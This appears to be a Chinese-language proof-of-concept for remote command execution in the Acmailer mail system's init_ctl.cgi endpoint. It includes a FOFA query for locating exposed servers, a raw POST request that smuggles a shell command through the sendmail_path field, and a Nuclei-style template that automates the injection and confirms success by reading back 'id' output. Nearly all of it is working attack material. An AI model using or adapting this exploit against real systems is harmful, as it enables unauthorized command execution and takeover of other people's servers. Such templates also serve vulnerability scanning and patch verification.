Acmailer邮件系统 init_ctl.cgi 远程命令执行

# 搜索语法body="CGI acmailer"

POST /init_ctl.cgi HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0Connection: closeContent-Length: 150Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip

admin_name=u&admin_email=m@m.m&login_id=l&login_pass=l&sendmail_path=|whoami >ceshi.txt | bash&homeurl=http://&mypath=e

id: Acmailer-RCE

info:  name: Acmailer邮件系统 init_ctl.cgi接口处远程命令执行,攻击者可通过此漏洞获取服务器权限。  author: lY  severity: high  metadata:     fofa-query: body="CGI acmailer"variables:  filename: "{{to_lower(rand_base(10))}}"  boundary: "{{to_lower(rand_base(20))}}"http:  - raw:      - |        POST /init_ctl.cgi HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0        Connection: close        Content-Length: 150        Content-Type: application/x-www-form-urlencoded        Accept-Encoding: gzip

        admin_name=u&[email protected]&login_id=l&login_pass=l&sendmail_path=|id >{{filename}}.txt | bash&homeurl=http://&mypath=e

      - |        GET /{{filename}}.txt HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0



    matchers:      - type: dsl        dsl:          - status_code==200 && contains_all(body,"uid","gid")